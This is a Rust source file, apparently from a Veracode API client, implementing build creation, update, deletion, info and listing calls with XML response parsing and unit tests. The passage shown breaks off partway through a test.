1use chrono::{DateTime, NaiveDate, Utc};
8use log::debug;
9use quick_xml::Reader;
10use quick_xml::events::Event;
11use serde::{Deserialize, Serialize};
12use std::collections::HashMap;
13
14use crate::{VeracodeClient, VeracodeError};
15
16pub const LIFECYCLE_STAGES: &[&str] = &[
18 "In Development (pre-Alpha)",
19 "Internal or Alpha Testing",
20 "External or Beta Testing",
21 "Deployed",
22 "Maintenance",
23 "Cannot Disclose",
24 "Not Specified",
25];
26
27#[must_use]
29pub fn is_valid_lifecycle_stage(stage: &str) -> bool {
30 LIFECYCLE_STAGES.contains(&stage)
31}
32
33#[must_use]
35pub fn default_lifecycle_stage() -> &'static str {
36 "In Development (pre-Alpha)"
37}
38
39#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
42pub enum BuildStatus {
43 Incomplete,
44 NotSubmitted,
45 SubmittedToEngine,
46 ScanInProcess,
47 PreScanSubmitted,
48 PreScanSuccess,
49 PreScanFailed,
50 PreScanCancelled,
51 PrescanFailed,
52 PrescanCancelled,
53 ScanCancelled,
54 ResultsReady,
55 Failed,
56 Cancelled,
57 Unknown(String), }
59
60impl BuildStatus {
61 #[must_use]
63 pub fn from_string(status: &str) -> Self {
64 match status {
65 "Incomplete" => BuildStatus::Incomplete,
66 "Not Submitted" => BuildStatus::NotSubmitted,
67 "Submitted to Engine" => BuildStatus::SubmittedToEngine,
68 "Scan in Process" => BuildStatus::ScanInProcess,
69 "Pre-Scan Submitted" => BuildStatus::PreScanSubmitted,
70 "Pre-Scan Success" => BuildStatus::PreScanSuccess,
71 "Pre-Scan Failed" => BuildStatus::PreScanFailed,
72 "Pre-Scan Cancelled" => BuildStatus::PreScanCancelled,
73 "Prescan Failed" => BuildStatus::PrescanFailed,
74 "Prescan Cancelled" => BuildStatus::PrescanCancelled,
75 "Scan Cancelled" => BuildStatus::ScanCancelled,
76 "Results Ready" => BuildStatus::ResultsReady,
77 "Failed" => BuildStatus::Failed,
78 "Cancelled" => BuildStatus::Cancelled,
79 _ => BuildStatus::Unknown(status.to_string()),
80 }
81 }
82
83 #[must_use]
85 pub fn to_str(&self) -> &str {
86 match self {
87 BuildStatus::Incomplete => "Incomplete",
88 BuildStatus::NotSubmitted => "Not Submitted",
89 BuildStatus::SubmittedToEngine => "Submitted to Engine",
90 BuildStatus::ScanInProcess => "Scan in Process",
91 BuildStatus::PreScanSubmitted => "Pre-Scan Submitted",
92 BuildStatus::PreScanSuccess => "Pre-Scan Success",
93 BuildStatus::PreScanFailed => "Pre-Scan Failed",
94 BuildStatus::PreScanCancelled => "Pre-Scan Cancelled",
95 BuildStatus::PrescanFailed => "Prescan Failed",
96 BuildStatus::PrescanCancelled => "Prescan Cancelled",
97 BuildStatus::ScanCancelled => "Scan Cancelled",
98 BuildStatus::ResultsReady => "Results Ready",
99 BuildStatus::Failed => "Failed",
100 BuildStatus::Cancelled => "Cancelled",
101 BuildStatus::Unknown(s) => s,
102 }
103 }
104
105 #[must_use]
112 pub fn is_safe_to_delete(&self, deletion_policy: u8) -> bool {
113 match deletion_policy {
114 1 => {
115 matches!(
117 self,
118 BuildStatus::Incomplete
119 | BuildStatus::NotSubmitted
120 | BuildStatus::PreScanFailed
121 | BuildStatus::PreScanCancelled
122 | BuildStatus::PrescanFailed
123 | BuildStatus::PrescanCancelled
124 | BuildStatus::ScanCancelled
125 | BuildStatus::Failed
126 | BuildStatus::Cancelled
127 )
128 }
129 2 => {
130 !matches!(self, BuildStatus::ResultsReady)
132 }
133 _ => false, }
135 }
136}
137
138impl std::fmt::Display for BuildStatus {
139 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
140 write!(f, "{}", self.to_str())
141 }
142}
143
144#[derive(Debug, Clone, Serialize, Deserialize)]
146pub struct Build {
147 pub build_id: String,
149 pub app_id: String,
151 pub version: Option<String>,
153 pub app_name: Option<String>,
155 pub sandbox_id: Option<String>,
157 pub sandbox_name: Option<String>,
159 pub lifecycle_stage: Option<String>,
161 pub launch_date: Option<NaiveDate>,
163 pub submitter: Option<String>,
165 pub platform: Option<String>,
167 pub analysis_unit: Option<String>,
169 pub policy_name: Option<String>,
171 pub policy_version: Option<String>,
173 pub policy_compliance_status: Option<String>,
175 pub rules_status: Option<String>,
177 pub grace_period_expired: Option<bool>,
179 pub scan_overdue: Option<bool>,
181 pub policy_updated_date: Option<DateTime<Utc>>,
183 pub legacy_scan_engine: Option<bool>,
185 pub attributes: HashMap<String, String>,
187}
188
189#[derive(Debug, Clone, Serialize, Deserialize)]
191pub struct BuildList {
192 pub account_id: Option<String>,
194 pub app_id: String,
196 pub app_name: Option<String>,
198 pub builds: Vec<Build>,
200}
201
202#[derive(Debug, Clone)]
204pub struct CreateBuildRequest {
205 pub app_id: String,
207 pub version: Option<String>,
209 pub lifecycle_stage: Option<String>,
211 pub launch_date: Option<String>,
213 pub sandbox_id: Option<String>,
215}
216
217#[derive(Debug, Clone)]
219pub struct UpdateBuildRequest {
220 pub app_id: String,
222 pub build_id: Option<String>,
224 pub version: Option<String>,
226 pub lifecycle_stage: Option<String>,
228 pub launch_date: Option<String>,
230 pub sandbox_id: Option<String>,
232}
233
234#[derive(Debug, Clone)]
236pub struct DeleteBuildRequest {
237 pub app_id: String,
239 pub sandbox_id: Option<String>,
241}
242
243#[derive(Debug, Clone)]
245pub struct GetBuildInfoRequest {
246 pub app_id: String,
248 pub build_id: Option<String>,
250 pub sandbox_id: Option<String>,
252}
253
254#[derive(Debug, Clone)]
256pub struct GetBuildListRequest {
257 pub app_id: String,
259 pub sandbox_id: Option<String>,
261}
262
263#[derive(Debug, Clone, Serialize, Deserialize)]
265pub struct DeleteBuildResult {
266 pub result: String,
268}
269
270#[derive(Debug)]
272#[must_use = "Need to handle all error enum types."]
273pub enum BuildError {
274 Api(VeracodeError),
276 BuildNotFound,
278 ApplicationNotFound,
280 SandboxNotFound,
282 InvalidParameter(String),
284 CreationFailed(String),
286 UpdateFailed(String),
288 DeletionFailed(String),
290 XmlParsingError(String),
292 Unauthorized,
294 PermissionDenied,
296 BuildInProgress,
298}
299
300impl std::fmt::Display for BuildError {
301 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
302 match self {
303 BuildError::Api(err) => write!(f, "API error: {err}"),
304 BuildError::BuildNotFound => write!(f, "Build not found"),
305 BuildError::ApplicationNotFound => write!(f, "Application not found"),
306 BuildError::SandboxNotFound => write!(f, "Sandbox not found"),
307 BuildError::InvalidParameter(msg) => write!(f, "Invalid parameter: {msg}"),
308 BuildError::CreationFailed(msg) => write!(f, "Build creation failed: {msg}"),
309 BuildError::UpdateFailed(msg) => write!(f, "Build update failed: {msg}"),
310 BuildError::DeletionFailed(msg) => write!(f, "Build deletion failed: {msg}"),
311 BuildError::XmlParsingError(msg) => write!(f, "XML parsing error: {msg}"),
312 BuildError::Unauthorized => write!(f, "Unauthorized access"),
313 BuildError::PermissionDenied => write!(f, "Permission denied"),
314 BuildError::BuildInProgress => write!(f, "Build in progress, cannot modify"),
315 }
316 }
317}
318
319impl std::error::Error for BuildError {}
320
321impl From<VeracodeError> for BuildError {
322 fn from(err: VeracodeError) -> Self {
323 BuildError::Api(err)
324 }
325}
326
327impl From<std::io::Error> for BuildError {
328 fn from(err: std::io::Error) -> Self {
329 BuildError::Api(VeracodeError::InvalidResponse(err.to_string()))
330 }
331}
332
333impl From<reqwest::Error> for BuildError {
334 fn from(err: reqwest::Error) -> Self {
335 BuildError::Api(VeracodeError::Http(err))
336 }
337}
338
339pub struct BuildApi {
341 client: VeracodeClient,
342}
343
344impl BuildApi {
345 #[must_use]
347 pub fn new(client: VeracodeClient) -> Self {
348 Self { client }
349 }
350
351 pub async fn create_build(&self, request: &CreateBuildRequest) -> Result<Build, BuildError> {
366 let endpoint = "/api/5.0/createbuild.do";
367
368 let mut query_params = Vec::new();
370 query_params.push(("app_id", request.app_id.as_str()));
371
372 if let Some(version) = &request.version {
373 query_params.push(("version", version.as_str()));
374 }
375
376 if let Some(lifecycle_stage) = &request.lifecycle_stage {
377 query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
378 }
379
380 if let Some(launch_date) = &request.launch_date {
381 query_params.push(("launch_date", launch_date.as_str()));
382 }
383
384 if let Some(sandbox_id) = &request.sandbox_id {
385 query_params.push(("sandbox_id", sandbox_id.as_str()));
386 }
387
388 let response = self
389 .client
390 .post_with_query_params(endpoint, &query_params)
391 .await?;
392
393 let status = response.status().as_u16();
394 match status {
395 200 => {
396 let response_text = response.text().await?;
397 self.parse_build_info(&response_text)
398 }
399 400 => {
400 let error_text = response.text().await.unwrap_or_default();
401 Err(BuildError::InvalidParameter(error_text))
402 }
403 401 => Err(BuildError::Unauthorized),
404 403 => Err(BuildError::PermissionDenied),
405 404 => Err(BuildError::ApplicationNotFound),
406 _ => {
407 let error_text = response.text().await.unwrap_or_default();
408 Err(BuildError::CreationFailed(format!(
409 "HTTP {status}: {error_text}"
410 )))
411 }
412 }
413 }
414
415 pub async fn update_build(&self, request: &UpdateBuildRequest) -> Result<Build, BuildError> {
430 let endpoint = "/api/5.0/updatebuild.do";
431
432 let mut query_params = Vec::new();
434 query_params.push(("app_id", request.app_id.as_str()));
435
436 if let Some(build_id) = &request.build_id {
437 query_params.push(("build_id", build_id.as_str()));
438 }
439
440 if let Some(version) = &request.version {
441 query_params.push(("version", version.as_str()));
442 }
443
444 if let Some(lifecycle_stage) = &request.lifecycle_stage {
445 query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
446 }
447
448 if let Some(launch_date) = &request.launch_date {
449 query_params.push(("launch_date", launch_date.as_str()));
450 }
451
452 if let Some(sandbox_id) = &request.sandbox_id {
453 query_params.push(("sandbox_id", sandbox_id.as_str()));
454 }
455
456 let response = self
457 .client
458 .post_with_query_params(endpoint, &query_params)
459 .await?;
460
461 let status = response.status().as_u16();
462 match status {
463 200 => {
464 let response_text = response.text().await?;
465 self.parse_build_info(&response_text)
466 }
467 400 => {
468 let error_text = response.text().await.unwrap_or_default();
469 Err(BuildError::InvalidParameter(error_text))
470 }
471 401 => Err(BuildError::Unauthorized),
472 403 => Err(BuildError::PermissionDenied),
473 404 => {
474 if request.sandbox_id.is_some() {
475 Err(BuildError::SandboxNotFound)
476 } else {
477 Err(BuildError::BuildNotFound)
478 }
479 }
480 _ => {
481 let error_text = response.text().await.unwrap_or_default();
482 Err(BuildError::UpdateFailed(format!(
483 "HTTP {status}: {error_text}"
484 )))
485 }
486 }
487 }
488
489 pub async fn delete_build(
504 &self,
505 request: &DeleteBuildRequest,
506 ) -> Result<DeleteBuildResult, BuildError> {
507 let endpoint = "/api/5.0/deletebuild.do";
508
509 let mut query_params = Vec::new();
511 query_params.push(("app_id", request.app_id.as_str()));
512
513 if let Some(sandbox_id) = &request.sandbox_id {
514 query_params.push(("sandbox_id", sandbox_id.as_str()));
515 }
516
517 let response = self
518 .client
519 .post_with_query_params(endpoint, &query_params)
520 .await?;
521
522 let status = response.status().as_u16();
523 match status {
524 200 => {
525 let response_text = response.text().await?;
526 self.parse_delete_result(&response_text)
527 }
528 400 => {
529 let error_text = response.text().await.unwrap_or_default();
530 Err(BuildError::InvalidParameter(error_text))
531 }
532 401 => Err(BuildError::Unauthorized),
533 403 => Err(BuildError::PermissionDenied),
534 404 => {
535 if request.sandbox_id.is_some() {
536 Err(BuildError::SandboxNotFound)
537 } else {
538 Err(BuildError::BuildNotFound)
539 }
540 }
541 _ => {
542 let error_text = response.text().await.unwrap_or_default();
543 Err(BuildError::DeletionFailed(format!(
544 "HTTP {status}: {error_text}"
545 )))
546 }
547 }
548 }
549
550 pub async fn get_build_info(&self, request: &GetBuildInfoRequest) -> Result<Build, BuildError> {
565 let endpoint = "/api/5.0/getbuildinfo.do";
566
567 let mut query_params = Vec::new();
569 query_params.push(("app_id", request.app_id.as_str()));
570
571 if let Some(build_id) = &request.build_id {
572 query_params.push(("build_id", build_id.as_str()));
573 }
574
575 if let Some(sandbox_id) = &request.sandbox_id {
576 query_params.push(("sandbox_id", sandbox_id.as_str()));
577 }
578
579 let response = self
580 .client
581 .get_with_query_params(endpoint, &query_params)
582 .await?;
583
584 let status = response.status().as_u16();
585 match status {
586 200 => {
587 let response_text = response.text().await?;
588 debug!("🌐 Raw XML response from getbuildinfo.do:\n{response_text}");
589 self.parse_build_info(&response_text)
590 }
591 400 => {
592 let error_text = response.text().await.unwrap_or_default();
593 Err(BuildError::InvalidParameter(error_text))
594 }
595 401 => Err(BuildError::Unauthorized),
596 403 => Err(BuildError::PermissionDenied),
597 404 => {
598 if request.sandbox_id.is_some() {
599 Err(BuildError::SandboxNotFound)
600 } else {
601 Err(BuildError::BuildNotFound)
602 }
603 }
604 _ => {
605 let error_text = response.text().await.unwrap_or_default();
606 Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
607 "HTTP {status}: {error_text}"
608 ))))
609 }
610 }
611 }
612
613 pub async fn get_build_list(
628 &self,
629 request: &GetBuildListRequest,
630 ) -> Result<BuildList, BuildError> {
631 let endpoint = "/api/5.0/getbuildlist.do";
632
633 let mut query_params = Vec::new();
635 query_params.push(("app_id", request.app_id.as_str()));
636
637 if let Some(sandbox_id) = &request.sandbox_id {
638 query_params.push(("sandbox_id", sandbox_id.as_str()));
639 }
640
641 let response = self
642 .client
643 .get_with_query_params(endpoint, &query_params)
644 .await?;
645
646 let status = response.status().as_u16();
647 match status {
648 200 => {
649 let response_text = response.text().await?;
650 self.parse_build_list(&response_text)
651 }
652 400 => {
653 let error_text = response.text().await.unwrap_or_default();
654 Err(BuildError::InvalidParameter(error_text))
655 }
656 401 => Err(BuildError::Unauthorized),
657 403 => Err(BuildError::PermissionDenied),
658 404 => {
659 if request.sandbox_id.is_some() {
660 Err(BuildError::SandboxNotFound)
661 } else {
662 Err(BuildError::ApplicationNotFound)
663 }
664 }
665 _ => {
666 let error_text = response.text().await.unwrap_or_default();
667 Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
668 "HTTP {status}: {error_text}"
669 ))))
670 }
671 }
672 }
673
674 fn parse_build_info(&self, xml: &str) -> Result<Build, BuildError> {
676 if xml.contains("<error>") {
678 let mut reader = Reader::from_str(xml);
679 reader.config_mut().trim_text(true);
680 let mut buf = Vec::new();
681
682 loop {
683 match reader.read_event_into(&mut buf) {
684 Ok(Event::Start(ref e)) if e.name().as_ref() == b"error" => {
685 if let Ok(Event::Text(text)) = reader.read_event_into(&mut buf) {
686 let error_msg = String::from_utf8_lossy(&text);
687 if error_msg.contains("Could not find a build") {
688 return Err(BuildError::BuildNotFound);
689 }
690 return Err(BuildError::Api(VeracodeError::InvalidResponse(
691 error_msg.to_string(),
692 )));
693 }
694 }
695 Ok(Event::Eof) => break,
696 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
697 _ => {}
698 }
699 buf.clear();
700 }
701 }
702
703 let mut reader = Reader::from_str(xml);
704 reader.config_mut().trim_text(true);
705
706 let mut buf = Vec::new();
707 let mut build = Build {
708 build_id: String::new(),
709 app_id: String::new(),
710 version: None,
711 app_name: None,
712 sandbox_id: None,
713 sandbox_name: None,
714 lifecycle_stage: None,
715 launch_date: None,
716 submitter: None,
717 platform: None,
718 analysis_unit: None,
719 policy_name: None,
720 policy_version: None,
721 policy_compliance_status: None,
722 rules_status: None,
723 grace_period_expired: None,
724 scan_overdue: None,
725 policy_updated_date: None,
726 legacy_scan_engine: None,
727 attributes: HashMap::new(),
728 };
729
730 let mut inside_build = false;
731
732 loop {
733 match reader.read_event_into(&mut buf) {
734 Ok(Event::Start(ref e)) => {
735 match e.name().as_ref() {
736 b"build" => {
737 inside_build = true;
738 for attr in e.attributes().flatten() {
739 let key = String::from_utf8_lossy(attr.key.as_ref());
740 let value = String::from_utf8_lossy(&attr.value);
741
742 match key.as_ref() {
743 "build_id" => build.build_id = value.into_owned(),
744 "app_id" => build.app_id = value.into_owned(),
745 "version" => build.version = Some(value.into_owned()),
746 "app_name" => build.app_name = Some(value.into_owned()),
747 "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
748 "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
749 "lifecycle_stage" => {
750 build.lifecycle_stage = Some(value.into_owned())
751 }
752 "submitter" => build.submitter = Some(value.into_owned()),
753 "platform" => build.platform = Some(value.into_owned()),
754 "analysis_unit" => {
755 build.analysis_unit = Some(value.into_owned())
756 }
757 "policy_name" => build.policy_name = Some(value.into_owned()),
758 "policy_version" => {
759 build.policy_version = Some(value.into_owned())
760 }
761 "policy_compliance_status" => {
762 build.policy_compliance_status = Some(value.into_owned())
763 }
764 "rules_status" => build.rules_status = Some(value.into_owned()),
765 "grace_period_expired" => {
766 build.grace_period_expired = value.parse::<bool>().ok();
767 }
768 "scan_overdue" => {
769 build.scan_overdue = value.parse::<bool>().ok();
770 }
771 "legacy_scan_engine" => {
772 build.legacy_scan_engine = value.parse::<bool>().ok();
773 }
774 "launch_date" => {
775 if let Ok(date) =
776 NaiveDate::parse_from_str(&value, "%m/%d/%Y")
777 {
778 build.launch_date = Some(date);
779 }
780 }
781 "policy_updated_date" => {
782 if let Ok(datetime) =
783 chrono::DateTime::parse_from_rfc3339(&value)
784 {
785 build.policy_updated_date =
786 Some(datetime.with_timezone(&Utc));
787 }
788 }
789 _ => {
790 build
791 .attributes
792 .insert(key.into_owned(), value.into_owned());
793 }
794 }
795 }
796 }
797 b"analysis_unit" if inside_build => {
798 for attr in e.attributes().flatten() {
800 let key = String::from_utf8_lossy(attr.key.as_ref());
801 let value = String::from_utf8_lossy(&attr.value);
802
803 match key.as_ref() {
805 "status" => {
806 build
808 .attributes
809 .insert("status".to_string(), value.into_owned());
810 }
811 _ => {
812 build
814 .attributes
815 .insert(format!("analysis_{key}"), value.into_owned());
816 }
817 }
818 }
819 }
820 _ => {}
821 }
822 }
823 Ok(Event::Empty(ref e)) => {
824 if e.name().as_ref() == b"analysis_unit" && inside_build {
826 for attr in e.attributes().flatten() {
827 let key = String::from_utf8_lossy(attr.key.as_ref());
828 let value = String::from_utf8_lossy(&attr.value);
829
830 match key.as_ref() {
831 "status" => {
832 build
833 .attributes
834 .insert("status".to_string(), value.into_owned());
835 }
836 _ => {
837 build
838 .attributes
839 .insert(format!("analysis_{key}"), value.into_owned());
840 }
841 }
842 }
843 }
844 }
845 Ok(Event::End(ref e)) => {
846 if e.name().as_ref() == b"build" {
847 inside_build = false;
848 }
849 }
850 Ok(Event::Eof) => break,
851 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
852 _ => {}
853 }
854 buf.clear();
855 }
856
857 if build.build_id.is_empty() {
858 return Err(BuildError::XmlParsingError(
859 "No build information found in response".to_string(),
860 ));
861 }
862
863 Ok(build)
864 }
865
866 fn parse_build_from_attributes<'a>(
868 &self,
869 attributes: impl Iterator<
870 Item = Result<
871 quick_xml::events::attributes::Attribute<'a>,
872 quick_xml::events::attributes::AttrError,
873 >,
874 >,
875 app_id: &str,
876 app_name: &Option<String>,
877 ) -> Build {
878 let mut build = Build {
879 build_id: String::new(),
880 app_id: app_id.to_string(),
881 version: None,
882 app_name: app_name.clone(),
883 sandbox_id: None,
884 sandbox_name: None,
885 lifecycle_stage: None,
886 launch_date: None,
887 submitter: None,
888 platform: None,
889 analysis_unit: None,
890 policy_name: None,
891 policy_version: None,
892 policy_compliance_status: None,
893 rules_status: None,
894 grace_period_expired: None,
895 scan_overdue: None,
896 policy_updated_date: None,
897 legacy_scan_engine: None,
898 attributes: HashMap::new(),
899 };
900
901 for attr in attributes.flatten() {
902 let key = String::from_utf8_lossy(attr.key.as_ref());
903 let value = String::from_utf8_lossy(&attr.value);
904
905 match key.as_ref() {
906 "build_id" => build.build_id = value.into_owned(),
907 "version" => build.version = Some(value.into_owned()),
908 "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
909 "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
910 "lifecycle_stage" => build.lifecycle_stage = Some(value.into_owned()),
911 "submitter" => build.submitter = Some(value.into_owned()),
912 "platform" => build.platform = Some(value.into_owned()),
913 "analysis_unit" => build.analysis_unit = Some(value.into_owned()),
914 "policy_name" => build.policy_name = Some(value.into_owned()),
915 "policy_version" => build.policy_version = Some(value.into_owned()),
916 "policy_compliance_status" => {
917 build.policy_compliance_status = Some(value.into_owned())
918 }
919 "rules_status" => build.rules_status = Some(value.into_owned()),
920 "grace_period_expired" => {
921 build.grace_period_expired = value.parse::<bool>().ok();
922 }
923 "scan_overdue" => {
924 build.scan_overdue = value.parse::<bool>().ok();
925 }
926 "legacy_scan_engine" => {
927 build.legacy_scan_engine = value.parse::<bool>().ok();
928 }
929 "launch_date" => {
930 if let Ok(date) = NaiveDate::parse_from_str(&value, "%m/%d/%Y") {
931 build.launch_date = Some(date);
932 }
933 }
934 "policy_updated_date" => {
935 if let Ok(datetime) = chrono::DateTime::parse_from_rfc3339(&value) {
936 build.policy_updated_date = Some(datetime.with_timezone(&Utc));
937 }
938 }
939 _ => {
940 build
941 .attributes
942 .insert(key.into_owned(), value.into_owned());
943 }
944 }
945 }
946
947 build
948 }
949
950 fn parse_build_list(&self, xml: &str) -> Result<BuildList, BuildError> {
952 let mut reader = Reader::from_str(xml);
953 reader.config_mut().trim_text(true);
954
955 let mut buf = Vec::new();
956 let mut build_list = BuildList {
957 account_id: None,
958 app_id: String::new(),
959 app_name: None,
960 builds: Vec::new(),
961 };
962
963 loop {
964 match reader.read_event_into(&mut buf) {
965 Ok(Event::Start(ref e)) => match e.name().as_ref() {
966 b"buildlist" => {
967 for attr in e.attributes().flatten() {
968 let key = String::from_utf8_lossy(attr.key.as_ref());
969 let value = String::from_utf8_lossy(&attr.value);
970
971 match key.as_ref() {
972 "account_id" => build_list.account_id = Some(value.into_owned()),
973 "app_id" => build_list.app_id = value.into_owned(),
974 "app_name" => build_list.app_name = Some(value.into_owned()),
975 _ => {}
976 }
977 }
978 }
979 b"build" => {
980 let build = self.parse_build_from_attributes(
981 e.attributes(),
982 &build_list.app_id,
983 &build_list.app_name,
984 );
985
986 if !build.build_id.is_empty() {
987 build_list.builds.push(build);
988 }
989 }
990 _ => {}
991 },
992 Ok(Event::Empty(ref e)) => {
993 if e.name().as_ref() == b"build" {
995 let build = self.parse_build_from_attributes(
996 e.attributes(),
997 &build_list.app_id,
998 &build_list.app_name,
999 );
1000
1001 if !build.build_id.is_empty() {
1002 build_list.builds.push(build);
1003 }
1004 }
1005 }
1006 Ok(Event::Eof) => break,
1007 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1008 _ => {}
1009 }
1010 buf.clear();
1011 }
1012
1013 Ok(build_list)
1014 }
1015
1016 fn parse_delete_result(&self, xml: &str) -> Result<DeleteBuildResult, BuildError> {
1018 let mut reader = Reader::from_str(xml);
1019 reader.config_mut().trim_text(true);
1020
1021 let mut buf = Vec::new();
1022 let mut result = String::new();
1023
1024 loop {
1025 match reader.read_event_into(&mut buf) {
1026 Ok(Event::Start(ref e)) => {
1027 if e.name().as_ref() == b"result" {
1028 if let Ok(Event::Text(e)) = reader.read_event_into(&mut buf) {
1030 result = String::from_utf8_lossy(&e).into_owned();
1031 }
1032 }
1033 }
1034 Ok(Event::Eof) => break,
1035 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1036 _ => {}
1037 }
1038 buf.clear();
1039 }
1040
1041 if result.is_empty() {
1042 return Err(BuildError::XmlParsingError(
1043 "No result found in delete response".to_string(),
1044 ));
1045 }
1046
1047 Ok(DeleteBuildResult { result })
1048 }
1049}
1050
1051impl BuildApi {
1053 pub async fn create_simple_build(
1069 &self,
1070 app_id: &str,
1071 version: Option<&str>,
1072 ) -> Result<Build, BuildError> {
1073 let request = CreateBuildRequest {
1074 app_id: app_id.to_string(),
1075 version: version.map(str::to_string),
1076 lifecycle_stage: None,
1077 launch_date: None,
1078 sandbox_id: None,
1079 };
1080
1081 self.create_build(&request).await
1082 }
1083
1084 pub async fn create_sandbox_build(
1101 &self,
1102 app_id: &str,
1103 sandbox_id: &str,
1104 version: Option<&str>,
1105 ) -> Result<Build, BuildError> {
1106 let request = CreateBuildRequest {
1107 app_id: app_id.to_string(),
1108 version: version.map(str::to_string),
1109 lifecycle_stage: None,
1110 launch_date: None,
1111 sandbox_id: Some(sandbox_id.to_string()),
1112 };
1113
1114 self.create_build(&request).await
1115 }
1116
1117 pub async fn delete_app_build(&self, app_id: &str) -> Result<DeleteBuildResult, BuildError> {
1132 let request = DeleteBuildRequest {
1133 app_id: app_id.to_string(),
1134 sandbox_id: None,
1135 };
1136
1137 self.delete_build(&request).await
1138 }
1139
1140 pub async fn delete_sandbox_build(
1156 &self,
1157 app_id: &str,
1158 sandbox_id: &str,
1159 ) -> Result<DeleteBuildResult, BuildError> {
1160 let request = DeleteBuildRequest {
1161 app_id: app_id.to_string(),
1162 sandbox_id: Some(sandbox_id.to_string()),
1163 };
1164
1165 self.delete_build(&request).await
1166 }
1167
1168 pub async fn get_app_build_info(&self, app_id: &str) -> Result<Build, BuildError> {
1183 let request = GetBuildInfoRequest {
1184 app_id: app_id.to_string(),
1185 build_id: None,
1186 sandbox_id: None,
1187 };
1188
1189 self.get_build_info(&request).await
1190 }
1191
1192 pub async fn get_sandbox_build_info(
1208 &self,
1209 app_id: &str,
1210 sandbox_id: &str,
1211 ) -> Result<Build, BuildError> {
1212 let request = GetBuildInfoRequest {
1213 app_id: app_id.to_string(),
1214 build_id: None,
1215 sandbox_id: Some(sandbox_id.to_string()),
1216 };
1217
1218 self.get_build_info(&request).await
1219 }
1220
1221 pub async fn get_app_builds(&self, app_id: &str) -> Result<BuildList, BuildError> {
1236 let request = GetBuildListRequest {
1237 app_id: app_id.to_string(),
1238 sandbox_id: None,
1239 };
1240
1241 self.get_build_list(&request).await
1242 }
1243
1244 pub async fn get_sandbox_builds(
1260 &self,
1261 app_id: &str,
1262 sandbox_id: &str,
1263 ) -> Result<BuildList, BuildError> {
1264 let request = GetBuildListRequest {
1265 app_id: app_id.to_string(),
1266 sandbox_id: Some(sandbox_id.to_string()),
1267 };
1268
1269 self.get_build_list(&request).await
1270 }
1271}
1272
1273#[cfg(test)]
1274mod tests {
1275 use super::*;
1276 use crate::VeracodeConfig;
1277
1278 #[test]
1279 fn test_create_build_request() {
1280 let request = CreateBuildRequest {
1281 app_id: "123".to_string(),
1282 version: Some("1.0.0".to_string()),
1283 lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1284 launch_date: Some("12/31/2024".to_string()),
1285 sandbox_id: None,
1286 };
1287
1288 assert_eq!(request.app_id, "123");
1289 assert_eq!(request.version, Some("1.0.0".to_string()));
1290 assert_eq!(
1291 request.lifecycle_stage,
1292 Some("In Development (pre-Alpha)".to_string())
1293 );
1294 }
1295
1296 #[test]
1297 fn test_update_build_request() {
1298 let request = UpdateBuildRequest {
1299 app_id: "123".to_string(),
1300 build_id: Some("456".to_string()),
1301 version: Some("1.1.0".to_string()),
1302 lifecycle_stage: Some("Internal or Alpha Testing".to_string()),
1303 launch_date: None,
1304 sandbox_id: Some("789".to_string()),
1305 };
1306
1307 assert_eq!(request.app_id, "123");
1308 assert_eq!(request.build_id, Some("456".to_string()));
1309 assert_eq!(request.sandbox_id, Some("789".to_string()));
1310 }
1311
1312 #[test]
1313 fn test_lifecycle_stage_validation() {
1314 assert!(is_valid_lifecycle_stage("In Development (pre-Alpha)"));
1316 assert!(is_valid_lifecycle_stage("Internal or Alpha Testing"));
1317 assert!(is_valid_lifecycle_stage("External or Beta Testing"));
1318 assert!(is_valid_lifecycle_stage("Deployed"));
1319 assert!(is_valid_lifecycle_stage("Maintenance"));
1320 assert!(is_valid_lifecycle_stage("Cannot Disclose"));
1321 assert!(is_valid_lifecycle_stage("Not Specified"));
1322
1323 assert!(!is_valid_lifecycle_stage("In Development"));
1325 assert!(!is_valid_lifecycle_stage("Development"));
1326 assert!(!is_valid_lifecycle_stage("QA"));
1327 assert!(!is_valid_lifecycle_stage("Production"));
1328 assert!(!is_valid_lifecycle_stage(""));
1329
1330 assert_eq!(default_lifecycle_stage(), "In Development (pre-Alpha)");
1332 assert!(is_valid_lifecycle_stage(default_lifecycle_stage()));
1333 }
1334
1335 #[test]
1336 fn test_build_error_display() {
1337 let error = BuildError::BuildNotFound;
1338 assert_eq!(error.to_string(), "Build not found");
1339
1340 let error = BuildError::InvalidParameter("Invalid app_id".to_string());
1341 assert_eq!(error.to_string(), "Invalid parameter: Invalid app_id");
1342
1343 let error = BuildError::CreationFailed("Build creation failed".to_string());
1344 assert_eq!(
1345 error.to_string(),
1346 "Build creation failed: Build creation failed"
1347 );
1348 }
1349
1350 #[tokio::test]
1351 async fn test_build_api_method_signatures() {
1352 async fn _test_build_methods() -> Result<(), Box<dyn std::error::Error>> {
1353 let config = VeracodeConfig::new("test", "test");
1354 let client = VeracodeClient::new(config)?;
1355 let api = client.build_api()?;
1356
1357 let create_request = CreateBuildRequest {
1359 app_id: "123".to_string(),
1360 version: None,
1361 lifecycle_stage: None,
1362 launch_date: None,
1363 sandbox_id: None,
1364 };
1365
1366 let _: Result<Build, _> = api.create_build(&create_request).await;
1369 let _: Result<Build, _> = api.create_simple_build("123", None).await;
1370 let _: Result<Build, _> = api.create_sandbox_build("123", "456", None).await;
1371 let _: Result<DeleteBuildResult, _> = api.delete_app_build("123").await;
1372 let _: Result<Build, _> = api.get_app_build_info("123").await;
1373 let _: Result<BuildList, _> = api.get_app_builds("123").await;
1374
1375 Ok(())
1376 }
1377
1378 }
1381
1382 #[test]
1383 fn test_build_status_from_str() {
1384 assert_eq!(
1385 BuildStatus::from_string("Incomplete"),
1386 BuildStatus::Incomplete
1387 );
1388 assert_eq!(
1389 BuildStatus::from_string("Results Ready"),
